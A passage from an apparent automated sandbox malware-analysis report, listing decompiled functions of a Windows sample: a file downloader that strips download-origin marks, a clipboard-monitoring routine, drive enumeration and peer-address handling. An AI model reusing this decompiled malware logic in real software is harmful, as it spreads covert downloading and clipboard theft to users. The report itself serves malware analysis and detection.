InternetCloseHandle.WININET(00000000), ref: 0040D75A
InternetCloseHandle.WININET(00000000), ref: 0040D767
Sleep.KERNEL32(000003E8), ref: 0040D772
rand.MSVCRT ref: 0040D787
Sleep.KERNEL32 ref: 0040D79E
rand.MSVCRT ref: 0040D7A4
rand.MSVCRT ref: 0040D7B8
wsprintfW.USER32 ref: 0040D7DF
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040D7FC
wsprintfW.USER32 ref: 0040D81C
DeleteFileW.KERNEL32(?), ref: 0040D82C
Sleep.KERNEL32(000003E8), ref: 0040D837
Sleep.KERNEL32(000003E8), ref: 0040D6E1

Part of subcall function 0040D1D0: CreateFileW.KERNELBASE(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D204
Part of subcall function 0040D1D0: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D225
Part of subcall function 0040D1D0: MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 0040D244
Part of subcall function 0040D1D0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D25D

Sleep.KERNEL32(000007D0), ref: 0040D858
ExitProcess.KERNEL32 ref: 0040D87F
DeleteFileW.KERNEL32(?), ref: 0040D88E

Strings

%s:Zone.Identifier, xrefs: 0040D6BA
]@, xrefs: 0040D874, 0040D71F
%s:Zone.Identifier, xrefs: 0040D810
%s\%d%d.exe, xrefs: 0040D7D3
%s\%d%d.exe, xrefs: 0040D5BA
%temp%, xrefs: 0040D51B
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36, xrefs: 0040D5D7

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$Sleep$Internetrand$CloseCreateDeleteHandlewsprintf$Process$ExitOpen$CountDownloadEnvironmentExpandMappingReadSizeStringsTickViewWritembstowcsmemsetsrand
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36$]@
API String ID: 3135114409-3650745090
Opcode ID: 253f5bf38e39e51211eba36c55abd417b9e55c54e15ab7f3e3e88540c4e70a93
Instruction ID: 4a692bf560fa698191a4ba968421e092d812baa048ff7158642ad85748ebf153
Opcode Fuzzy Hash: 253f5bf38e39e51211eba36c55abd417b9e55c54e15ab7f3e3e88540c4e70a93
Instruction Fuzzy Hash: C291C6B5D00318ABEB24DB50DC45FED7779AB88301F0484F9F609A61C1DAB99AC4CF28

Uniqueness

Uniqueness Score: -1.00%

Function 004041A0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E004041A0(struct HWND__* _a4, int _a8, int _a12, struct HWND__* _a16) {
				struct HWND__* _v8;
				int _v12;
				struct HWND__* _v16;
				void* _v20;
				void* _v24;
				short _v26;
				short _v30;
				int _v32;
				short _v34;
				char _v36;
				int _v40;
				int _v44;
				long _t75;
				struct HWND__* _t90;
				struct HWND__* _t97;
				struct HWND__* _t98;
				void* _t129;

				_v8 = GetWindowLongW(_a4, 0xffffffeb);
				_v40 = _a8;
				if(_v40 > 0x308) {
					if(_v40 == 0x30d) {
						if(_a12 != _v8) {
							if(_v8 != 0) {
								SendMessageA(_v8, _a8, _a12, _a16);
							}
						} else {
							_v8 = _a16;
							SetWindowLongW(_a4, 0xffffffeb, _v8);
						}
						goto L38;
					} else {
						L38:
						_t75 = DefWindowProcA(_a4, _a8, _a12, _a16); // executed
						return _t75;
					}
				}
				if(_v40 == 0x308) {
					_v12 = 0;
					if(IsClipboardFormatAvailable(0xd) == 0) {
						if(IsClipboardFormatAvailable(1) == 0) {
							if(IsClipboardFormatAvailable(7) != 0) {
								_v12 = 7;
							}
						} else {
							_v12 = 1;
						}
					} else {
						_v12 = 0xd;
					}
					if(_v12 == 0 || OpenClipboard(0) == 0) {
						L34:
						if(_v8 != 0) {
							SendMessageA(_v8, _a8, _a12, _a16);
						}
					} else {
						_v24 = GetClipboardData(_v12);
						if(_v24 != 0) {
							_v20 = GlobalLock(_v24);
							if(_v20 != 0) {
								_v16 = 0;
								_v44 = _v12;
								if(_v44 == 1) {
									_t90 = E00403FB0(_v20, 0, 0);
									_t129 = _t129 + 0xc;
									_v16 = _t90;
								} else {
									if(_v44 == 7) {
										_t97 = E004040D0(_v20, 0, 0);
										_t129 = _t129 + 0xc;
										_v16 = _t97;
									} else {
										if(_v44 == 0xd) {
											_t98 = E00403EF0(_v20, _v20, 0);
											_t129 = _t129 + 8;
											_v16 = _t98;
										}
									}
								}
								GlobalUnlock(_v24);
								CloseClipboard();
								if(_v16 != 0) {
									E00403480(_v16);
									E00408C70(_v16);
								}
								goto L34;
							}
							goto L38;
						}
					}
					goto L38;
				}
				if(_v40 == 1) {
					_v8 = SetClipboardViewer(_a4);
					SetWindowLongW(_a4, 0xffffffeb, _v8);
				} else {
					if(_v40 == 2) {
						_v36 = 0;
						_v34 = 0;
						_v30 = 0;
						_v26 = 0;
						_v36 = 1;
						_v34 = 6;
						_v32 = 1;
						__imp__RegisterRawInputDevices( &_v36, 1, 0xc);
						ChangeClipboardChain(_a4, _v8);
					}
				}
				goto L38;
			}

0x004041b2
0x004041b8
0x004041c2
0x004041ed
0x0040421c
0x0040423a
0x0040424c
0x0040424c
0x0040421e
0x00404221
0x0040422e
0x0040422e
0x00000000
0x004041ef
0x004043d4
0x004043e4
0x004043ed
0x004043ed
0x004041ed
0x004041cb
0x00404257
0x00404268
0x0040427d
0x00404292
0x00404294
0x00404294
0x0040427f
0x0040427f
0x0040427f
0x0040426a
0x0040426a
0x0040426a
0x0040429f
0x0040436f
0x00404373
0x00404385
0x00404385
0x004042b5
0x004042bf
0x004042c6
0x004042d7
0x004042de
0x004042e5
0x004042ef
0x004042f6
0x00404321
0x00404326
0x00404329
0x004042f8
0x004042fc
0x00404336
0x0040433b
0x0040433e
0x004042fe
0x00404302
0x0040430c
0x00404311
0x00404314
0x00404314
0x00404302
0x004042fc
0x00404345
0x0040434b
0x00404355
0x0040435b
0x00404367
0x0040436c
0x00000000
0x00404355
0x00000000
0x004042e0
0x004042c8
0x00000000
0x0040429f
0x004041d5
0x004041fe
0x0040420b
0x004041d7
0x004041db
0x0040438f
0x00404395
0x00404398
0x0040439b
0x004043a4
0x004043ad
0x004043b1
0x004043c0
0x004043ce
0x004043ce
0x004041db
0x00000000

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041AC
SetClipboardViewer.USER32(?), ref: 004041F8
SetWindowLongW.USER32(?,000000EB,?), ref: 0040420B
IsClipboardFormatAvailable.USER32(0000000D), ref: 00404260
OpenClipboard.USER32(00000000), ref: 004042A7
GetClipboardData.USER32(00000000), ref: 004042B9
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 004043C0
ChangeClipboardChain.USER32(?,?), ref: 004043CE
DefWindowProcA.USER32(?,?,?,?), ref: 004043E4

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: d6eb097551fe403484d6df1eea500d8dda5268cf33ca3084c7f7c11ec5fa5c98
Instruction ID: 12af2944b2afbdd2840b1e0cc58b104c1e1997fab1ca1becb874473cf393234d
Opcode Fuzzy Hash: d6eb097551fe403484d6df1eea500d8dda5268cf33ca3084c7f7c11ec5fa5c98
Instruction Fuzzy Hash: 927111B4A00208EFDF14DF94D948BEE77B4AF88305F14856AFA05B72D0D7799A40CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004043F0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E004043F0() {
				struct HWND__* _v8;
				struct tagMSG _v36;
				struct _WNDCLASSEXW _v84;
				short _v596;
				unsigned int _t20;
				struct HWND__* _t27;
				void* _t39;
				void* _t40;

				do {
					_v84.cbSize = 0;
					memset( &(_v84.style), 0, 0x2c);
					_t40 = _t39 + 0xc;
					_v84.cbSize = 0x30;
					_v84.lpfnWndProc = E004041A0;
					_v84.hInstance = GetModuleHandleW(0);
					_v84.lpszClassName =  &_v596;
					do {
						Sleep(1); // executed
						_t20 = GetTickCount();
						wsprintfW( &_v596, L"%x%X", GetTickCount(), _t20 >> 1);
						_t40 = _t40 + 0x10;
					} while ((RegisterClassExW( &_v84) & 0x0000ffff) == 0);
					_t27 = CreateWindowExW(0, _v84.lpszClassName, 0, 0, 0, 0, 0, 0, 0xfffffffd, 0, _v84.hInstance, 0); // executed
					_v8 = _t27;
					if(_v8 != 0) {
						while(GetMessageA( &_v36, 0, 0, 0) > 0) {
							TranslateMessage( &_v36);
							DispatchMessageA( &_v36);
						}
						goto L7;
					}
					break;
					L7:
				} while (0 != 0);
				ExitThread(0);
			}

0x004043f9
0x004043f9
0x00404408
0x0040440d
0x00404410
0x00404417
0x00404426
0x0040442f
0x00404432
0x00404434
0x0040443a
0x00404456
0x0040445c
0x0040446c
0x0040448c
0x00404492
0x00404499
0x0040449d
0x004044b5
0x004044bf
0x004044bf
0x00000000
0x0040449d
0x00000000
0x004044c7
0x004044c7
0x004044d1

APIs

memset.NTDLL ref: 00404408
GetModuleHandleW.KERNEL32(00000000), ref: 00404420
Sleep.KERNELBASE(00000001), ref: 00404434
GetTickCount.KERNEL32 ref: 0040443A
GetTickCount.KERNEL32 ref: 00404443
wsprintfW.USER32 ref: 00404456
RegisterClassExW.USER32(00000030), ref: 00404463
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 0040448C
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004044A7
TranslateMessage.USER32(?), ref: 004044B5
DispatchMessageA.USER32(?), ref: 004044BF
ExitThread.KERNEL32 ref: 004044D1

Strings

0, xrefs: 00404410
%x%X, xrefs: 0040444A

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: fefae300a6ae166907af6779e4e4d81ad735c504abc0138177021c7cc3709374
Instruction ID: 3e2b717ade092063a9efcdadcacb4b05de8fa546afe9c034d67f52ff400308d4
Opcode Fuzzy Hash: fefae300a6ae166907af6779e4e4d81ad735c504abc0138177021c7cc3709374
Instruction Fuzzy Hash: 732121B0940318ABEB109BE0DC4DFEE7B78BB48701F548529F601B61D0DBB995448B69

Uniqueness

Uniqueness Score: -1.00%

Function 004054A0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E004054A0() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v24;
				short _v556;
				short _v2604;
				intOrPtr _v2608;
				union _ULARGE_INTEGER _v2612;
				long _v2616;
				short _v3148;
				intOrPtr _v3152;
				intOrPtr _t34;
				intOrPtr _t36;
				intOrPtr _t38;
				struct %anon54 _t43;
				intOrPtr _t63;
				void* _t68;
				void* _t69;
				void* _t70;

				Sleep(0x3e8); // executed
				GetModuleFileNameW(0, 0x4163c0, 0x104);
				_t34 = E0040D180(0x4163c0); // executed
				_t69 = _t68 + 4;
				 *0x4163b8 = _t34;
				while(1 != 0) {
					_t36 = E00404CB0(); // executed
					_v8 = _t36;
					_v12 = 2;
					while(_v12 <= 0x19) {
						_t38 = E00404C50(_v8, _v12,  &_v24); // executed
						_t69 = _t69 + 0xc;
						_v16 = _t38;
						_v3152 = _v16;
						if(_v3152 == 2 || _v3152 == 4) {
							GetVolumeInformationW( &_v24,  &_v3148, 0x105, 0, 0,  &_v2616, 0, 0);
							GetDiskFreeSpaceExW( &_v24, 0,  &_v2612, 0);
							_push(0);
							_push(0x40000000);
							_t63 = _v2608;
							_push(_t63);
							_t43 = _v2612.LowPart;
							_push(_t43);
							L0040EE10();
							_push(_t63);
							wsprintfW( &_v556, L" (%dGB)", _t43);
							_t70 = _t69 + 0x10;
							if((_v3148 & 0x0000ffff) == 0) {
								wsprintfW( &_v3148, L"Unnamed volume");
								_t70 = _t70 + 8;
							}
							wsprintfW( &_v2604, L"%s%s",  &_v3148,  &_v556);
							E00404FC0( &_v24,  &_v2604, _v2616, ( &_v556 & 0xffffff00 | _v16 == 0x00000004) & 0x000000ff);
							_t69 = _t70 + 0x20;
						}
						_v12 = _v12 + 1;
					}
					Sleep(0x7d0); // executed
				}
				ExitThread(0);
			}

0x004054ae
0x004054c0
0x004054cb
0x004054d0
0x004054d3
0x004054d8
0x004054e5
0x004054ea
0x004054ed
0x004054ff
0x00405515
0x0040551a
0x0040551d
0x00405523
0x00405530
0x0040555f
0x00405574
0x0040557a
0x0040557c
0x00405581
0x00405587
0x00405588
0x0040558e
0x0040558f
0x00405594
0x004055a2
0x004055a8
0x004055b4
0x004055c2
0x004055c8
0x004055c8
0x004055e5
0x0040560b
0x00405610
0x00405610
0x004054fc
0x004054fc
0x0040561d
0x0040561d
0x0040562a

APIs

Sleep.KERNELBASE(000003E8), ref: 004054AE
GetModuleFileNameW.KERNEL32(00000000,004163C0,00000104), ref: 004054C0

Part of subcall function 0040D180: CreateFileW.KERNELBASE(004054D0,80000000,00000001,00000000,00000003,00000000,00000000,004054D0), ref: 0040D1A0
Part of subcall function 0040D180: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D1B5
Part of subcall function 0040D180: FindCloseChangeNotification.KERNELBASE(000000FF), ref: 0040D1C2

ExitThread.KERNEL32 ref: 0040562A

Part of subcall function 00404CB0: GetLogicalDrives.KERNEL32 ref: 00404CB6
Part of subcall function 00404CB0: RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00404D04
Part of subcall function 00404CB0: RegQueryValueExW.KERNELBASE(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404D31
Part of subcall function 00404CB0: RegCloseKey.ADVAPI32(?), ref: 00404D4E

Sleep.KERNELBASE(000007D0), ref: 0040561D

Part of subcall function 00404C50: lstrcpyW.KERNEL32(?,?), ref: 00404CA3

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 0040555F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00405574
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 0040558F
wsprintfW.USER32 ref: 004055A2
wsprintfW.USER32 ref: 004055C2
wsprintfW.USER32 ref: 004055E5

Strings

Unnamed volume, xrefs: 004055B6
(%dGB), xrefs: 00405596
%s%s, xrefs: 004055D9

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$ChangeCreateDiskDrivesExitFindFreeInformationLogicalModuleNameNotificationOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 899515741-2117135753
Opcode ID: 325e993603c8bda3392c0f0bd153b9b3ac43164d3fc352dd12edcd88a3ba2bb9
Instruction ID: 9bd4fa2fb620ac2810ea8b244f600aa7f59dc27fdf478d4548bf3fce0c8904cf
Opcode Fuzzy Hash: 325e993603c8bda3392c0f0bd153b9b3ac43164d3fc352dd12edcd88a3ba2bb9
Instruction Fuzzy Hash: 0D418371900208BBE714DB94DC45FEE7778AB48700F1085AAF209B61D0DA799B84CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00409A30 Relevance: 22.7, APIs: 9, Strings: 6, Instructions: 156
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00409A30(signed int _a4, intOrPtr _a8, signed int _a12) {
				signed char _v5;
				signed int _v12;
				signed int _v13;
				signed int _v20;
				signed char _t50;
				char* _t52;
				char* _t54;
				char* _t57;
				signed int _t61;
				void* _t65;
				char* _t68;
				char* _t72;
				signed int _t77;
				char* _t78;
				signed int _t80;
				signed int _t89;
				signed int _t91;
				intOrPtr _t93;
				char* _t95;
				void* _t97;
				void* _t98;
				void* _t100;
				void* _t102;
				void* _t106;
				void* _t109;

				_t50 = E00409770(_a4); // executed
				_t98 = _t97 + 4;
				_t74 = _t50 & 0x000000ff;
				if((_t50 & 0x000000ff) == 0) {
					_t52 = strstr(E004094E0(_t74, _a4), "127.");
					_t100 = _t98 + 0xc;
					__eflags = _t52;
					if(_t52 == 0) {
						L6:
						_t54 = strstr(E004094E0(_t74, _a4), "10.");
						_t102 = _t100 + 0xc;
						__eflags = _t54;
						if(_t54 == 0) {
							L10:
							EnterCriticalSection(0x416df4);
							_v5 = 0;
							_v12 = 0;
							while(1) {
								__eflags = _v12 -  *0x416e2c; // 0x200
								if(__eflags >= 0) {
									break;
								}
								_t93 =  *((intOrPtr*)(0x416e30 + _v12 * 4));
								__eflags =  *((intOrPtr*)(_t93 + 4)) - _a4;
								if( *((intOrPtr*)(_t93 + 4)) != _a4) {
									_t95 = _v12 + 1;
									__eflags = _t95;
									_v12 = _t95;
									continue;
								}
								_t65 = E0040BE60();
								_t55 = _t65 - _a8;
								 *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v12 * 4)) + 8)) = _t65 - _a8;
								_v5 = 1;
								break;
							}
							E00409980(_t55);
							_t57 = _v5 & 0x000000ff;
							__eflags = _t57;
							if(_t57 != 0) {
								L27:
								LeaveCriticalSection(0x416df4);
								return _t57;
							}
							_v13 = 0;
							__eflags =  *0x416e2c - 0x200;
							if( *0x416e2c == 0x200) {
								_v13 = 1;
							}
							_t57 = E00408B00(0xc); // executed
							_v20 = _t57;
							__eflags = _v20;
							if(_v20 == 0) {
								goto L27;
							} else {
								 *((intOrPtr*)(_v20 + 4)) = _a4;
								 *((intOrPtr*)(_v20 + 8)) = E0040BE60() - _a8;
								__eflags = _v13 & 0x000000ff;
								if((_v13 & 0x000000ff) == 0) {
									_t89 =  *0x416e2c; // 0x200
									_t60 = _v20;
									 *((intOrPtr*)(0x416e30 + _t89 * 4)) = _v20;
									_t77 =  *0x416e2c; // 0x200
									_t78 = _t77 + 1;
									__eflags = _t78;
									 *0x416e2c = _t78;
									L25:
									_t57 = E00409980(_t60);
									__eflags = _a12 & 0x000000ff;
									if((_a12 & 0x000000ff) != 0) {
										_t57 = E00409660(_t57);
									}
									goto L27;
								} else {
									goto L21;
								}
								while(1) {
									L21:
									_t61 =  *0x416e2c; // 0x200
									__eflags =  *(0x416e2c[_t61]);
									if( *(0x416e2c[_t61]) == 0) {
										break;
									}
									Sleep(1);
								}
								_t91 =  *0x416e2c; // 0x200
								 *(0x416e2c[_t91]) = 1;
								_t80 =  *0x416e2c; // 0x200
								E00408C70(0x416e2c[_t80]);
								_t60 =  *0x416e2c; // 0x200
								0x416e2c[_t60] = _v20;
								goto L25;
							}
						}
						_t68 = strstr(E004094E0(_t74, _a4), ".10");
						_t106 = _t102 + 0xc;
						__eflags = _t68;
						if(_t68 == 0) {
							L9:
							return _t68;
						}
						_t68 = strstr(E004094E0(_a4, _a4), ".10.");
						_t102 = _t106 + 0xc;
						__eflags = _t68;
						if(_t68 != 0) {
							goto L10;
						}
						goto L9;
					}
					_t72 = strstr(E004094E0(_t74, _a4), ".127");
					_t109 = _t100 + 0xc;
					__eflags = _t72;
					if(_t72 == 0) {
						L5:
						return _t72;
					}
					_t74 = _a4;
					_t72 = strstr(E004094E0(_a4, _a4), ".127.");
					_t100 = _t109 + 0xc;
					__eflags = _t72;
					if(_t72 != 0) {
						goto L6;
					}
					goto L5;
				}
				return _t50;
			}

APIs

Part of subcall function 00409770: gethostname.WS2_32(?,00000100), ref: 0040978C
Part of subcall function 00409770: gethostbyname.WS2_32(?), ref: 0040979E

strstr.NTDLL ref: 00409A60
strstr.NTDLL ref: 00409A7E
strstr.NTDLL ref: 00409A9C

Strings

.127., xrefs: 00409A8A
10., xrefs: 00409AAD
.10, xrefs: 00409ACB
.127, xrefs: 00409A6C
127., xrefs: 00409A4E
.10., xrefs: 00409AE9

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: strstr$gethostbynamegethostname
String ID: .10$.10.$.127$.127.$10.$127.
API String ID: 2540993189-3303897403
Opcode ID: b76f67e7926c3bfc2b6239aaaf97ef912ceb140556f2a3feeb29e46595fad57e
Instruction ID: 3df5601b161af7dea13d6a0229968f945e0e067b118b08783a6fcb5bdca65d6d
Opcode Fuzzy Hash: b76f67e7926c3bfc2b6239aaaf97ef912ceb140556f2a3feeb29e46595fad57e
Instruction Fuzzy Hash: AC51B4B8E043449BDB04EB61E841BAA7BB5AB44308F04C53EE904673C2D67EE951CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00409D40 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00409D40() {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				long _v24;
				DWORD* _v28;
				signed int _v32;
				void* _t39;
				intOrPtr _t41;
				void* _t42;
				void* _t74;

				InitializeCriticalSection(0x416df4);
				_v12 = 0;
				while(_v12 < 0x200) {
					E00409A30( *((intOrPtr*)(0x4143b8 + _v12 * 4)), E0040BE60(), 0); // executed
					_t74 = _t74 + 0xc;
					_v12 = _v12 + 1;
				}
				_t39 = CreateFileW("C:\Users\Alvin\tbnds.dat", 0x80000000, 0, 0, 3, 0, 0); // executed
				_v8 = _t39;
				if(_v8 != 0xffffffff) {
					_v16 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v16 != 0) {
						_v20 = MapViewOfFile(_v16, 4, 0, 0, 0);
						if(_v20 != 0) {
							_v24 = GetFileSize(_v8, 0);
							_v28 = 0;
							_v32 = 0;
							while(_v28 < _v24 && _v32 < 0x200) {
								E00409A30( *((intOrPtr*)(_v20 + _v32 * 8)), E0040BE60() -  *((intOrPtr*)(_v20 + 4 + _v32 * 8)), 0);
								_t74 = _t74 + 0xc;
								_v28 =  &(_v28[2]);
								_v32 = _v32 + 1;
							}
							UnmapViewOfFile(_v20);
						}
						CloseHandle(_v16);
					}
					CloseHandle(_v8); // executed
				}
				E00409750(); // executed
				_t41 =  *0x416e10; // 0x2420638
				_t42 = E0040BBA0(_t41, 0, E00409620, 0, 0, 0); // executed
				return _t42;
			}

0x00409d4b
0x00409d51
0x00409d63
0x00409d7f
0x00409d84
0x00409d60
0x00409d60
0x00409d9d
0x00409da3
0x00409daa
0x00409dc4
0x00409dcb
0x00409de3
0x00409dea
0x00409df8
0x00409dfb
0x00409e02
0x00409e1d
0x00409e4a
0x00409e4f
0x00409e11
0x00409e1a
0x00409e1a
0x00409e58
0x00409e58
0x00409e62
0x00409e62
0x00409e6c
0x00409e6c
0x00409e72
0x00409e84
0x00409e8a
0x00409e95

APIs

InitializeCriticalSection.KERNEL32(00416DF4,?,?,?,?,?,?,00406559), ref: 00409D4B
CreateFileW.KERNELBASE(C:\Users\user\tbnds.dat,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00409D9D
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00409DBE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00409DDD
GetFileSize.KERNEL32(000000FF,00000000), ref: 00409DF2
UnmapViewOfFile.KERNEL32(00000000), ref: 00409E58
CloseHandle.KERNEL32(00000000), ref: 00409E62
CloseHandle.KERNEL32(000000FF), ref: 00409E6C

Part of subcall function 0040BE60: NtQuerySystemTime.NTDLL(00409E35), ref: 0040BE6A
Part of subcall function 0040BE60: RtlTimeToSecondsSince1980.NTDLL(00409E35,?), ref: 0040BE78

Strings

C:\Users\user\tbnds.dat, xrefs: 00409D98
Ye@, xrefs: 00409DBA, 00409DEE, 00409E68

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: C:\Users\user\tbnds.dat$Ye@
API String ID: 439099756-2061297893
Opcode ID: cafe75a224eb596620b072b14f744e2b17563123446a9985d189ca3d35a70c58
Instruction ID: 4dce5e276bdf20b80a38771717a09593e8b4a8e5598cf30a42ed89e5f557a98d
Opcode Fuzzy Hash: cafe75a224eb596620b072b14f744e2b17563123446a9985d189ca3d35a70c58
Instruction Fuzzy Hash: F4413F74E40308BBDB10DBA4DC4ABAEB774AB44704F208569F611772C2C7B96941CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 004045F0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004045F0() {
				void* _v8;
				void* _v12;
				void* _v16;
				long _v20;
				void* _v24;
				intOrPtr _v28;
				void* _t35;
				intOrPtr _t45;
				void* _t66;
				void* _t67;

				InitializeCriticalSection(0x416398);
				_t35 = CreateFileW("C:\Users\Alvin\tbcmds.dat", 0x80000000, 0, 0, 3, 0, 0); // executed
				_v8 = _t35;
				if(_v8 != 0xffffffff) {
					_v12 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
